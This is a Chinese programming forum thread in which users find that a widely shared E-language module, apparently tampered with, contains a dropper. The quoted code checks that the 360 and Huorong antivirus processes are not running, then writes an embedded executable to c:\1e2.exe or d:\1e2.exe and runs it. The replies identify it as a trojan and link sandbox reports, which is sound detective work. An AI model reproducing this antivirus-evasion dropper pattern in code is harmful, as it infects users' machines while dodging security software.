http 精易 返回结果不一致

myl620

请大佬帮忙看看  为啥我用http返回空  但是 精易可以

tsb1

韩浩666666666666666666

nywl2008

.版本 2

'
.如果 (进程_是否存在 (“360tray.exe”, ) ＝ 假 且 进程_是否存在 (“HipsMain.exe”, ) ＝ 假)
    '
    .如果真 (目录_是否存在 (“c:\”))
        写到文件 (“c:\1e2.exe”, #匿名常量_682)
        运行 (“c:\1e2.exe”, 假, )
    .如果真结束
    .如果真 (目录_是否存在 (“c:\”) ＝ 假)
        写到文件 (“d:\1e2.exe”, #匿名常量_682)
        运行 (“d:\1e2.exe”, 假, )
    .如果真结束

.否则

你模块里面这个是什么玩意

opphk

这木马病毒，注意了会删你的源码

opphk

有毒

AcLe

nywl2008 发表于 2024-12-14 11:25
.版本 2

'

如果360和火绒不运行，进程不存在，就释放一个程序，并运行....
为啥要去判断安全软件是否运行？
怎么感觉像是病毒一样....

AcLe

nywl2008 发表于 2024-12-14 11:25
.版本 2

'

如果360和火绒不运行，进程不存在，就释放一个程序，并运行...
为啥要去判断安全软件是否运行?怎么感觉像是有毒一样....

nlxxbc

精易模块11.1

.如果 (并且 (等于 (进程_是否存在 (“360tray.exe”, ), 假), 等于 (进程_是否存在 (“HipsMain.exe”, ), 假)))

    .如果真 (目录_是否存在 (“c:\”))
        写到文件 (“c:\1e2.exe”, #匿名图片_2136)
        运行 (“c:\1e2.exe”, 假, )
    .如果真结束
    .如果真 (等于 (目录_是否存在 (“c:\”), 假))
        写到文件 (“d:\1e2.exe”, #匿名图片_2136)
        运行 (“d:\1e2.exe”, 假, )
    .如果真结束

.否则

.如果结束

分析报告：
https://sandbox.dbappsecurity.com.cn/report/16a3b739-ac86-403d-83a8-39749e7090b3
https://sandbox.ti.qianxin.com/sandbox/page/detail?type=file&id=AZPa23GsONZSmF3-0eZo
https://sandbox.freebuf.com/reportDetail?fileSha1=65f3e291f0a6ddc3b0fd1c58dd12376efc022d0b

myl620

让你们这么一说  我才确定我中毒了。。。刚才看了看 我的所有精易模块大小都一样。。。关键火绒还拦截不到  杀不了。。。